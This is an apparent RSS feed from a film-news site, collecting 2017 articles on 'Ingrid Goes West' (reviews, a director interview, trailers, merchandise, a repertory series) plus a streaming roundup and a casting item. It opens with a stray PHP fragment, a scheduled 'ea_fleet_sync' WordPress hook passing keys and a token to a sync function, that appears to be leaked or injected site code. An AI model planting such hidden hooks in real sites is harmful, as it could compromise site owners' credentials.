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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ingrid – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 07 Nov 2017 15:09:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ingrid – Brief News https://briefnews.eu 32 32 The 5 Best Movies to Buy or Stream This Week: ‘Ingrid Goes West,’ ‘The Glass Castle’ https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-ingrid-goes-west-the-glass-castle/ https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-ingrid-goes-west-the-glass-castle/#respond Tue, 07 Nov 2017 15:09:47 +0000 http://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-ingrid-goes-west-the-glass-castle/ The trouble with the summer movie season is that smaller movies can easily slip from the column of “counterprogramming” to “forgotten entirely”; we’ve got two of those among this week’s new disc and on demand releases, and both are worth a second chance. Plus, a solid Western on Netflix, a terrifying documentary on Hulu, and a Criterion showcase for one of the all-time great screwball comedies.

ON NETFLIX

The Homesman: In his second theatrical feature, Tommy Lee Jones reaffirms himself as an actor/director firmly in the Eastwood mold — i.e., he makes films in an even-eyed, no-nonsense style that matches his acting. Here, he adapts Glendon Swarthout’s novel into a frontier journey, giving it a dreamlike, almost supernatural tinge, full of death and disease and wailing women trucking across the prairie towards nothing in particular. And it’s got the kind of richly complicated female protagonist that’s all too rare in even the best Westerns (well played by Hilary Swank). Full of odd, eccentric twists, this is a dark, atmospheric, and thankfully unpredictable picture.

ON HULU

Zero Days: Director Alex Gibney follows up Taxi to the Dark Side and We Steal Secrets with another exposé of our shady government and what they’re keeping from us. The subject this time is the “Stuxnet” worm, a devastatingly effective computer virus allegedly developed by the U.S. and Israel to slow Iran’s nuclear program, and if your eyes are already glazing over, no worries; Gibney not only investigates but clarifies, digging deep into the virus’s development and implementation while keeping his story crystal-clear, thanks to straight-talking interviews, helpful graphics, and a style that speaks in the visual and aural language of a snappy techno-thriller. But make no mistake – this is terrifying stuff, particularly at this moment of cyber-warfare, with chillingly high stakes and implications.

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Ingrid Goes West: This story of obsession, loneliness, and social media is sort of a spiritual successor to Observe and Report – a film that bravely puts a pitch-black comedy spin on a premise that could’ve been played for much easier laughs. And director/co-writer Matt Spicer has the right woman for the job in Aubrey Plaza, aces as a mentally ill wallflower drawn to the fabulous life of an Instagram celeb (Elizabeth Olsen, thankfully grounded) and bent on becoming a part of it. It’s a funny picture – Plaza’s sprung comic timing and adroit physicality can summon laughs on command – but its intensity and darkness is always right under the surface, a time bomb ticking louder the deeper she gets. Not exactly a crowd-pleaser, but challenging and rewarding for the right kind of viewer. (Includes audio commentary, deleted scenes with commentary, and trailer.)

The Glass Castle: Short Term 12director Destin Daniel Cretton and star Brie Larson reunite for this adaptation of Janette Walls’s memoir, mining (a bit more successfully) material similar to last year’s Captain Fantastic: it’s the story of a large, rambling family, led by an off-the-grid dreamer whose high ideals don’t always equal healthy parenting. The key difference is that Glass Castle doesn’t lionize its father figure; he’s wildly irresponsible and a hopeless alcoholic, and Cretton’s tight-fisted direction harrowingly dramatizes both the up/down whiplash of recovery and relapse, and the scary way domestic incidents can escalate in a blink. Woody Harrelson is dazzlingly good as the flawed patriarch, and Brie Larson navigates several tricky moments as the focal offspring. Glass Castle has its problems – the flashback material is far more compelling than the later narrative that’s framing it (aka the Fried Green Tomatoes Conundrum), and the metaphorical qualities of key scenes (and the title) are just right on the nose. It’s the kind of movie where you can hear the gears turning, but it’s so well-acted and sensitively mounted, you don’t really mind. (Includes deleted scenes and featurette.)

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The Philadelphia Story: George Cukor’s screwball romantic comedy gets the Criterion treatment, and now the image sparkles as brightly as the movie. A brassy, snazzy, tart love triangle between Katharine Hepburn, Cary Grant, and James Stewart, it’s a picture that talks fast and moves faster, its breezy romantic entanglements adroitly manipulated by its director, the great George Cukor. In a movie full of memorable scenes, my favorite is probably Hepburn and Stewart’s drunken revelry at a fancy party, but there are plenty to choose from; my only real quibble is with the man she eventually chooses, though my wife assures me I’m insane. (YMMV.) Wherever you land, this is a bravura piece of studio craftsmanship, and one of the best comedies of an era where that was no small feat. (Includes audio commentary, featurettes, Dick Cavett Show interviews with Hepburn and Cukor, radio adaptation, restoration demonstration, and trailer.)

                                                                    

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]]> https://briefnews.eu/the-5-best-movies-to-buy-or-stream-this-week-ingrid-goes-west-the-glass-castle/feed/ 0 Ingrid Goes West revels in everything wrong with Instagram celebrities https://briefnews.eu/ingrid-goes-west-revels-in-everything-wrong-with-instagram-celebrities/ https://briefnews.eu/ingrid-goes-west-revels-in-everything-wrong-with-instagram-celebrities/#respond Sun, 27 Aug 2017 19:17:11 +0000 http://briefnews.eu/ingrid-goes-west-revels-in-everything-wrong-with-instagram-celebrities/

Enlarge / Taylor (Elizabeth Olson) and Ingrid (Aubrey Plaza) pose for an Instagram shot, to celebrate becoming besties. (credit: Neon)

Ingrid Goes West is one of those indie flicks that flies just beneath the radar, the subjects of its savage satire just a little too obscure for the usual comedy treatment. But you shouldn’t miss this brilliantly-acted takedown of Instagram fameballs, competing for followers and likes in the sunny sellout city of Los Angeles. Unhinged, funny, and sad by turns, this movie gets to the heart of what’s wrong with social media—and why it destroys people’s lives.

Ingrid is a social media addict whose fragile self-esteem is built on whether internet celebs “engage” with her on Instagram. As the film begins, we discover that she’s recently been institutionalized after stalking and attacking a woman who replied to one of Ingrid’s comments—and then never wrote to her again. The gleefully maniacal Aubrey Plaza (Parks and Rec, Legion) manages to play Ingrid as the pathetic object of broad satire, while also humanizing her. Yes, Ingrid is a fame-obsessed stalker, but she’s also suffering from mental illness in the wake of her mother’s death.

When she’s recovered enough to leave the institution, the first thing Ingrid does is charge up her sparkle-encrusted phone and start looking for a new “friend.” Her targets are all young women with huge followings whose lives are full of smiling “friends,” quirky designer clothes, cool decor, and locally-sourced avocado toast. Quickly she finds her latest prey: Taylor (Elizabeth Olson), an up-and-coming fashionista with a cute dog and a taste for expensive housewares. Using a modest inheritance from her mother, Ingrid creates a new Instagram account under the name Ingridgoeswest, and relocates to Taylor’s LA neighborhood.

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]]> https://briefnews.eu/ingrid-goes-west-revels-in-everything-wrong-with-instagram-celebrities/feed/ 0 Mondo Unveils an ‘Ingrid Goes West’ Poster and a Whole Lot of Squad Goals Merchandise https://briefnews.eu/mondo-unveils-an-ingrid-goes-west-poster-and-a-whole-lot-of-squad-goals-merchandise/ https://briefnews.eu/mondo-unveils-an-ingrid-goes-west-poster-and-a-whole-lot-of-squad-goals-merchandise/#respond Fri, 25 Aug 2017 22:07:25 +0000 http://briefnews.eu/mondo-unveils-an-ingrid-goes-west-poster-and-a-whole-lot-of-squad-goals-merchandise/ Ingrid Goest West

There’s an excellent dark comedy playing in theaters at the moment, Ingrid Goes West. At this year’s Sundance Film Festival, editor-in-chief Peter Sciretta wrote director Matt Spicer‘s film “is not just your average comedy film, but a smart commentary on our social media obsessed world.” It’s a story about obsession, Instagram, bad vibes, and the wrong kind of Squad Goals. The movie already has one fantastic poster, but now it’s been given the Mondo treatment.

Not only did Mondo print a striking new poster, but they’re also selling a whole batch of goodies related to the film. We may not ever be able to buy Ingrid Thorburn (Aubrey Plaza) and Dan Pinto (O’Shea Jackson) action figures, but at least we can purchase some great Mondo merchandise that’ll delight any fan of the movie.

Below, check out the Ingrid Goes West Mondo poster, vinyl cover, and more.

For those of you who haven’t seen what may be the best internet movie ever, Spicer’s film is an Instagram-driven story about Ingrid Thorburn, who packs her bags and heads to Los Angeles to do whatever it takes to befriend an Insta-celeb (Elizabeth Olsen). Brian Stauffer’s $ 45, 24” x 18” Mondo poster captures the film’s mood with great simplicity. There’s a beautiful, vast environment, with a sole figure diving into an empty pool; not thinking before she jumps. Stauffer’s work nails the vibe of the movie: everything looks or sounds the best, but there’s always something off and a feeling of doom.

Ingrid Goes West Mondo poster

There are 125 of these beauties, which debuted on Collider, up for sale at Mondo’s official site. Over there, you can also buy some items related to the film. If there’s one item in particular I want on my wall, it’s the Squad Goals painting. In the film, Taylor’s husband, Ezra O’Keefe (Wyatt Russell), is an artist who doesn’t have a whole lot of range. The Squad Goal painting would be in his portfolio along with nothing but Squad Goals paintings.

 

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The soundtrack is only available to pre-order at the moment, but here’s the tracklist:

Side A
01. I Want More – Performed by Can
02. Attack Of The Name Game – Performed by Stacy Lattisaw
03. Indecision (EP Version) – Performed by Shura
04. The Weekend – Performed by Islands
05. Obsession – Performed by Animotion

Side B
06. Ring The Alarm – Performed by Tenor Saw
07. Ca’-Ba-‘Dab’ – Performed by Soul Swingers
08. This Love, Pt. 1 – Performed by Bobby Oroza
09. My Heart Cries For You – Performed by Jimmy Wakely
10. All My Life – Performed By K-Ci & JoJo

Ingrid Goes West is a very good movie and it’s a vital movie as well. The dangers of living your life on your phone or computer have been talked about again and again in films. More often than not those films state the obvious and are hardly subtle, but not Ingrid Goes West, which isn’t about sending a message; it’s about Ingrid. It’s like how great genre pieces can have a lot to say under the guise of entertainment. Spicer’s film will probably get more than a few people to consider how social media influences their lives, for good and bad.

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]]> https://briefnews.eu/mondo-unveils-an-ingrid-goes-west-poster-and-a-whole-lot-of-squad-goals-merchandise/feed/ 0 See The Real Instagram Account Used In The Making Of Aubrey Plaza’s ‘Ingrid Goest West’ https://briefnews.eu/see-the-real-instagram-account-used-in-the-making-of-aubrey-plazas-ingrid-goest-west/ https://briefnews.eu/see-the-real-instagram-account-used-in-the-making-of-aubrey-plazas-ingrid-goest-west/#respond Sat, 12 Aug 2017 23:46:27 +0000 http://briefnews.eu/see-the-real-instagram-account-used-in-the-making-of-aubrey-plazas-ingrid-goest-west/ Ingrid Goes West

Characters talking on the phone or looking at a phone can be pretty boring in a movie. That’s not the case with Matt Spicer’s Ingrid Goes West, in which his deeply lonely protagonist, Ingrid Thorburn (Aubrey Plaza), spends a lot of her time and life on her iPhone. It’s a great character who elicits empathy, laughs, shock, and some cringes.

Ingrid grows obsessed with an Insta-celeb, Taylor (Elizabeth Olsen), who she goes a long way to befriend. Some of the character’s Instagram hashtag-heavy posts in the movie were shared during production on the social media app.

Ingrid Goes West would probably make for a great triple feature with The Cable Guy and Taxi Driver. Tonally, it’s very different, but Ingrid’s loneliness with all the dark laughs call those movies to mind. Ingrid wants the picture-perfect connections she only sees on Instagram. She attempts to befriend Taylor, who she stalks in real life and online. Entertainment Journalist Courtney Howard spotted an actual Instagram account for the character, which was sharing photos throughout the shooting of the dark comedy:

This shot is in the movie and is a part of what kicks off Ingrid’s journey to LA:

Another day, another avocado toast ????

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 The avocado toast is from a real place in Los Angeles called Cafe Gratitude. According to our editor-in-chief Peter Sciretta, their dishes are called “I am grateful” and “I am hopeful.” Only in LA.

Found my beach ???? A post shared by Ingrid Goes West (@ingridgoeswest) on

There’s some really great, on point, and banal Instagram posts in the movie. There’s a complete sense of authenticity to Ingrid Goes West. As ridiculous as some of the characters sometimes are, they’re all completely believable, sometimes frighteningly so. Not everyone is faking it a lot of the time in Spicer’s movie, like a character played by O’Shea Jackson Jr. He’s fantastic in the movie. But it’s Plaza who owns the film. With Ingrid Goest West and Legion, she’s given two of my favorite performances of the year. Plaza makes Ingrid consistently empathetic, no matter the trouble she’s cuasing.

Ingrid Thorburn (Aubrey Plaza) is an unhinged social media stalker with a history of confusing “likes” for meaningful relationships. Taylor Sloane (Elizabeth Olsen) is an Instagram-famous “influencer” whose perfectly curated, boho-chic lifestyle becomes Ingrid’s latest obsession. When Ingrid moves to LA and manages to insinuate herself into the social media star’s life, their relationship quickly goes from #BFF to #WTF. Built around a brilliantly disarming performance from Aubrey Plaza, Ingrid Goes West (winner of the Waldo Salt Screenwriting Award at Sundance) is a savagely hilarious dark comedy that satirizes the modern world of social media and proves that being #perfect isn’t all it’s cracked up to be.

Ingrid Goes West opens in theaters today.

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]]> https://briefnews.eu/see-the-real-instagram-account-used-in-the-making-of-aubrey-plazas-ingrid-goest-west/feed/ 0 ‘Ingrid Goes West’ Director Matt Spicer on Aubrey Plaza’s Dark and Harrowing Journey [Interview] https://briefnews.eu/ingrid-goes-west-director-matt-spicer-on-aubrey-plazas-dark-and-harrowing-journey-interview/ https://briefnews.eu/ingrid-goes-west-director-matt-spicer-on-aubrey-plazas-dark-and-harrowing-journey-interview/#respond Sat, 12 Aug 2017 12:49:44 +0000 http://briefnews.eu/ingrid-goes-west-director-matt-spicer-on-aubrey-plazas-dark-and-harrowing-journey-interview/ matt spicer interview

With Ingrid Thorburn (Aubrey Plaza) leading the way in Ingrid Goes West, it’s often tough to predict which direction Matt Spicer‘s dark comedy will go in next. Ingrid goes to great lengths to turn Taylor Sloane (Elizabeth Olsen) into her best friend so the whole world can see her Instagram. Aubrey’s character searches for a friend in a sad, laugh-filled descent in the sunny, “good vibes only” part of California.

Ingrid Goes West calls to mind movies like The Cable Guy, Taxi Driver, and The Talented Mr. Ripley. There’s a loneliness to the lead characters of those movies that can also be found in Ingrid. Her motive is wanting friendship. Yeah, she’s deceptive in the course of her journey, but so are a lot of the characters in Spicer’s feature directorial debut, which he co-wrote with David Branson Smith.

Below, check out our Matt Spicer interview, where we chat all about the new movie, which is in theaters today.

Not knowing much about the story, during the second act I did not have any idea where this story was going. Ingrid made me think of Travis Bickle, and I thought she could’ve gone down a path almost as dark as his.

That is the highest compliment that I think you could give. But yeah, that’s great. I mean, it’s so funny because I’ve been living with it for so long. But I remember when Dave and I were writing it, we definitely wanted it to have that feeling of if you were seeing the movie for the first time, you really would have no idea where it could go and that there was this level of like, somebody could maybe die.

After you and Dave finished the script, what qualities were you looking for in an actor to play Ingrid?

I wanted somebody who wasn’t going to be afraid to sort of really bring themselves into the role. Like I think Aubrey – just from talking to her, it made me happy from the beginning. She was like, “I don’t want to treat this like a comedy. I don’t want to approach it as an actor like I’m being in a comedy. I want it to feel like I’m in a dramatic film.” You know what I mean? And the script is funny and so the comedy will come through, but the comedy should all come from the character and the situation. It’s not from jokes, you know? And I just think that was exactly how I was wanting to approach it and it’s refreshing to hear that.

I was a fan of hers also, I think she’s hilarious. But I didn’t know sort of her background and that she went to NYU and went to film school, so she didn’t necessarily start out wanting to be an actress. She started out from a place of just loving film and wanting to know as much about film as she could. She approached it like a filmmaker, and it always really makes your job a lot easier as a director, I think, when your actors are thinking about the whole picture and not just their contribution to it. She was really thinking about how her performance would affect the entire thing and what people would take away from it, not just like, “Oh, am I funny enough in this scene?” Or “Am I this or that?” You know, it was going to serve the greater story and the greater purpose of the film.

It usually seems the best actors always see themselves as a small part of the puzzle.

Right. Yes, exactly. I think it’s easy to kind of get wrapped up in just your part. But yeah, it’s obviously the whole thing. If the whole thing doesn’t work, your part won’t matter.

Creating Ingrid, did she come very naturally to you and David? Was she at all inspired by people you had come across? 

I think our initial approach to her, we had all these conflicting feelings about social media ourselves and we kind of were just looking for the perfect vessel for us to pour all of our own sort of insecurities and fears and also feelings about social media, whether they be positive or negative in just one character. That was sort of where it came from. But we didn’t necessarily write it with Aubrey in mind. It was just sort of, like, who would be the person that Instagram would be the worst thing that could possibly happen to them? That’s where she really came out of. Once I heard that Aubrey was into it, it just came totally into focus and I could just see it perfectly clear from that point.

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I know you did some rewriting while shooting because you got to know the characters more. How did they or the film evolve?

Nothing really changed about the story. It was just sort of our approach to certain themes. For example, the Halloween party scene. We intentionally scheduled some of the later parts of the film towards the end of the shoot, and we shot a lot of the earlier stuff from the film at the beginning of the shoot. We didn’t shoot it in sequence, but we did as much as we could and by the time we got to the Halloween party scene, where Lizzie and Aubrey sort of confront each other, it was pretty clear. They knew their characters so well at that point. And they had come to me the night before and they started – originally, they have this fight in front of a whole party. They sort of came to me and said, “You know, I don’t think that these girls would be able to be totally honest with each other if they were standing in front of all these people, especially Taylor.”

So we started talking about that and that’s how we ended up moving it to them moving away from the party. And then once we did that, it was like, “Okay, now we can really let each other have it,” and in a way that wasn’t necessarily on the page before. We did a rewrite to that effect. And it ended up being one of my favorite scenes in the movie. It really came out of the girls just knowing their characters so well and saying, “You know what? I have an idea. I think there’s a better way to approach this,” and we just sort of hammered it out together and got it to a place where I was super happy with it.

That’s just one example, but it was throughout the entire shoot. We’d rehearse a scene and then it’d be like, “All right, this is not working at all. What can we do?” What’s wrong with it? How can we fix it? And people started drawing out ideas and you started to get excited about it again. That’s always a good sign, I think, when you’ve been living with something for a year and then you start to get excited about it again. Like, okay, we’re on the right track.

Do you recall any ideas O’Shea Jackson brought to Dan Pinto?

Oh my god, so many. I mean, he is a huge Batman fan. Specifically, the scene where they’re on their date scene and he’s talking about why he loves Batman, a lot of that was O’Shea. There was stuff on the page too, but he just was able to really passionately talk about it. You know, it would be crazy to make him stay on script when he is able to sort of say all these things. But he had some great lines that didn’t even make it in the film, but that would crack us up. But we couldn’t use for whatever reason, but it’s the two-part line where it was totally an improv thing that he did that I just thought was so funny. He’s just such a natural. I’ve never seen somebody who’s so able to be so effortlessly charming and likable and just himself in front of the camera. It’s really something to watch.

I love the date where we see Ingrid be real with Dan. It’s such a pivotal moment. Anything memorable about writing or shooting that scene?

Believe it or not, that was O’Shea’s first day with that scene. So that was their first scene together. And not by choice necessarily, just how the schedule worked out. It was really funny because they didn’t know each other that well, and so it was kind of them getting to know each other through their characters and through working together. I was blown away by Aubrey’s performance because she was able to get to this really vulnerable place, but it wasn’t scripted that they were going to kiss in the script. And by the time we started shooting it, it was just like this just feels like a missed opportunity, you know what I mean? It felt like the spark between them that you just, as a director, you just feel, “Oh my god, this is lighting in a bottle right now.” It just kept evolving and evolving to the point where they were like furiously making out by the end of it.

That was just sort of, it was this great moment because that was when we realized, “Okay, we might have something here with these two.”You hope for something like that, but you can’t really plan for it.

These characters feel very familiar in LA. From the beginning, was Los Angeles just the only place you and David saw the story taking place?

Yeah. I think we … Part of it was a practical thing because I’ve been trying to direct a feature for a few years before I had another script that I was trying to get off the ground. It just wasn’t coming together for whatever reason, and so when Dave and I came up with the idea for Ingrid, it was sort of the idea was let’s just write something that we can go make. If we can’t get the $ 2 million or whatever to go make it, then we’re just going to make it for $ 200,000 and we’ll Kickstarter it and we’ll cast our friends and we’ll just go do it.

From the beginning, as we had that kind of DIY idea of we’re going to just make this film no matter what and we’re not going to take no for an answer. And so we wrote a lot of stuff into it, knowing that we could get these locations. And then, of course, Aubrey ended up coming on and Lizzie and it became this bigger thing which is great. But the idea was let’s make a movie about our lives and what’s going on around us right now. Because I’m not getting any younger and I want to make something and I feel really passionate about this, and let’s just do it.

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If you’re looking for some motivation to stop scrolling through Facebook, Instagram, Snapchat and all that nonsense, the indie dark comedy Ingrid Goes West might help cure you of your incessant desire to stay connected to everyone through your phone.

The movie, which premiered at the 2017 Sundance Film Festival, follows Parks and Recreation star Aubrey Plaza as the titular social media obsessed stalker who latches on to someone she meets online, adapts her personality to become best friends with them, and inevitably ruins the relationship when she becomes way too clingy. A new red band trailer just debuted which shows how crazy Ingrid can get as she tries to impress a social media celebrity played by Elizabeth Olsen.

Watch the new Ingrid Goes West red band trailer below, but beware of NSFW language.

Ingrid Goes West Red Band Trailer

Though the movie plays up the more deranged side of Aubrey Plaza’s character, rest assured that this movie is also extremely funny, albeit often in a twisted way. The opening of the film, where Ingrid crashes a wedding by spraying mace at the bride and calling her some not-very-nice words (which you can see it in the trailer above) is quite shocking, and it sets the stage for the craziness to come.

We caught the film at Sundance earlier this year, and our own Peter Sciretta wrote, “Ingrid Goes West is not just your average comedy film, but a smart commentary on our social media obsessed world.” It also comes with outstanding performances from the entire cast, especially O’Shea Jackson Jr. (Straight Outta Compton) in a charming and funny role. Plus, Elizabeth Olsen’s vapid send-up of Los Angeles personalities is as spot-on as it is tragically hilarious.

Ingrid Goes West was one of our favorite films of Sundance, and it’s one that you will undoubtedly enjoy if you seek it out. It gets a little darker than you might think, but it makes for a fantastic directorial debut from Matt Spicer, who also wrote the script with David Branson Smith, which won the Waldo Salt Screenwriting award at the fest. For more, you can read Peter Sciretta’s Sundance review right here.

Following the death of her mother and a series of self-inflicted setbacks, young Ingrid Thorburn (Aubrey Plaza) escapes a humdrum existence by moving out West to befriend her Instagram obsession and LA socialite Taylor Sloane (Elizabeth Olsen).  After a quick bond is forged between these unlikeliest of friends, the façade begins to crack in both women’s lives — with comically malicious results.

Ingrid Goes West arrives in theaters late this summer on August 4.

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]]> https://briefnews.eu/ingrid-goes-west-red-band-trailer-aubrey-plaza-is-a-sycophantic-sociopathic-stalker/feed/ 0 Alamo Drafthouse and ‘Ingrid Goes West’ Director Matt Spicer Announce ‘Tales of the Obsessed’ Repertory Series https://briefnews.eu/alamo-drafthouse-and-ingrid-goes-west-director-matt-spicer-announce-tales-of-the-obsessed-repertory-series/ https://briefnews.eu/alamo-drafthouse-and-ingrid-goes-west-director-matt-spicer-announce-tales-of-the-obsessed-repertory-series/#respond Fri, 07 Jul 2017 11:25:15 +0000 http://briefnews.eu/alamo-drafthouse-and-ingrid-goes-west-director-matt-spicer-announce-tales-of-the-obsessed-repertory-series/ Tales of the Obsessed Screening Series Coming to Alamo Drafthouse

Ingrid Goes West is the story of a mentally unstable young woman (Aubrey Plaza) who becomes obsessed with a social media celebrity (Elizabeth Olsen) and moves to Los Angeles as part of an insane plan to befriend her in real life. We loved the film when we saw it at the Sundance Film Festival and named it one of the 10 best films of the fest, so we’re excited to see Neon release it into theaters next month.

Now, the Alamo Drafthouse has teamed up with director Matt Spicer to program a 23-film repertory series to run alongside the film, giving audiences a taste of the classic and not-so-classic movies that inspired Ingrid Goes West.

Titled “Tales of the Obsessed,” the screening series will focus on films about “one of cinema’s most beloved and feared archetypes – the obsessed outsider.” The films in the series run the gamut from horror classics (Carrie) to quirky comedies (Bottle Rocket) to modern masterpieces (Eternal Sunshine of the Spotless Mind) to tales of often inexplicable weirdness (Stroszek). This may be the only repertory screening to somehow feature both Pee-wee’s Big Adventure and Mulholland Drive. It’s one helluva line-up.

Here’s what Spicer, who also co-wrote Ingrid Goes West‘s screenplay, had to say about the movies featured in this series:

I love films about intense, desperate or lonely people searching for a way in or some kind of human connection. Like their protagonists, these films don’t conform to society’s standards; they’re wild and unpredictable, sometimes dangerous or uncomfortable to watch, but always fascinating. When Aubrey (Plaza) and I were making INGRID GOES WEST, these were the films we kept coming back to again and again for their fearless performances and mastery of tone.

The series will run in Alamo Drafthouse theaters in New York City, Austin, San Francisco, Corpus Christi, Denver, El Paso, Houston, Kansas City, Lubbock, New Braunfels, Ashburn, VA, Omaha, Phoenix, San Antonio, and Yonkers throughout the month of August. You can find individual screening information and purchase tickets right over here.

Ingrid Goes West opens in New York and Los Angeles on August 11, 2017 before expanding wide on August 18, 2017. You can find a complete list of the films in the “Tales of the Obsessed” series below:

3 WOMEN
BAD BOY BUBBY
THE BEAVER TRILOGY
BEING THERE
BOTTLE ROCKET
THE CABLE GUY
CARRIE
CHUCK & BUCK
ETERNAL SUNSHINE OF THE SPOTLESS MIND
HAROLD AND MAUDE
HOUSE OF YES
THE KING OF COMEDY
MADEMOISELLE
MINNIE & MOSKOWITZ
MOONRISE KINGDOM
MULHOLLAND DRIVE
PEE-WEE’S BIG ADVENTURE
REMEMBER MY NAME
SINGLE WHITE FEMALE
SNAKES
STROSZEK
TO DIE FOR
WELCOME TO THE DOLLHOUSE

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Here’s the second trailer for Ingrid Goes West, a satire of Instagram culture and obsession that marks the directorial debut of filmmaker Matt Spicer. Aubrey Plaza (Parks and Recreation) plays Ingrid, a pathetic stalker who develops an obsession of an Insta-celeb named Taylor (Elizabeth Olsen). When Ingrid heads across the country to ingratiate herself into Taylor’s life, things seem to go well before they quickly go off the rails.

Ingrid Goes West trailer

There are some strange editing choices here that sort of make sense as a way to establish the scope of the film, but that don’t really do the movie justice when it comes to accurately selling its comedic tone. I saw this at a screening about a month ago, and the film is way funnier than this trailer makes it out to be: Plaza is fantastic as the desperate, lonely obsessive, and Olsen transforms into the embodiment of the modern day Valley girl – the fake, vapid, Insta-famous quasi-celeb who makes constant trips to Joshua Tree and refers to everything as “amazing.”

But don’t sleep on the totally-scene-stealing performance from O’Shea Jackson, Jr. /Film’s Peter Sciretta reviewed this movie back in January at the Sundance Film Festival, and he shares the opinion that Jackson is terrific here:

The surprise breakout performance of the film comes from O’Shea Jackson Jr., the rapper son of Ice Cube, who portrayed his father in Straight Outta Compton. I imagine that Jackson will be included on casting wish-lists for years to come. His character, who plays a neighbor to Ingrid, is an aspiring screenwriter obsessed with Batman — which leads to some incredible laugh out loud moments and (maybe a slight spoiler, you’ve been warned) possibly the best sex scene of the year.

Ingrid Goes West arrives in theaters on August 11, 2017.

Ingrid Thorburn (Aubrey Plaza) is an unhinged social media stalker with a history of confusing “likes” for meaningful relationships. Taylor Sloane (Elizabeth Olsen) is an Instagram-famous “influencer” whose perfectly curated, boho-chic lifestyle becomes Ingrid’s latest obsession. When Ingrid moves to LA and manages to insinuate herself into the social media star’s life, their relationship quickly goes from #BFF to #WTF. Built around a brilliantly disarming performance from Aubrey Plaza, Ingrid Goes West (winner of the Waldo Salt Screenwriting Award at Sundance) is a savagely hilarious dark comedy that satirizes the modern world of social media and proves that being #perfect isn’t all it’s cracked up to be.

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]]> https://briefnews.eu/ingrid-goes-west-trailer-aubrey-plazas-obsession-gets-out-of-control/feed/ 0 Jessica Chastain to Play the Legendary Ingrid Bergman in Novel Adaptation https://briefnews.eu/jessica-chastain-to-play-the-legendary-ingrid-bergman-in-novel-adaptation/ https://briefnews.eu/jessica-chastain-to-play-the-legendary-ingrid-bergman-in-novel-adaptation/#respond Sat, 20 May 2017 20:53:46 +0000 http://briefnews.eu/jessica-chastain-to-play-the-legendary-ingrid-bergman-in-novel-adaptation/ Deadline reports that Zero Dark Thirty star Jessica Chastain will play screen legend Ingrid Bergman in Seducing Ingrid Bergman, based on a 2012 novel by Chris Greenhalgh. The book fictionalizes Bergman’s romance with Hungarian photographer Robert Capa and is set after World War II, continuing when the couple returned to the United States where the McCarthy hearings were taking place. In reality, Capa started working for American International Pictures, but the relationship fell apart when he left the States for Turkey on an assignment. Bergman was still married to Petter Lindström at the time of their affair. No director is attached to the project at this time, but Grace of Monaco writer Arash Amel penned the screenplay. Chastain is currently at Cannes serving as a juror. Her new film Molly’s Game, which marks Aaron Sorkin’s directorial debut, follows a former Olympic skier turned high-stakes gambling entrepreneur who becomes the target of an FBI investigation.

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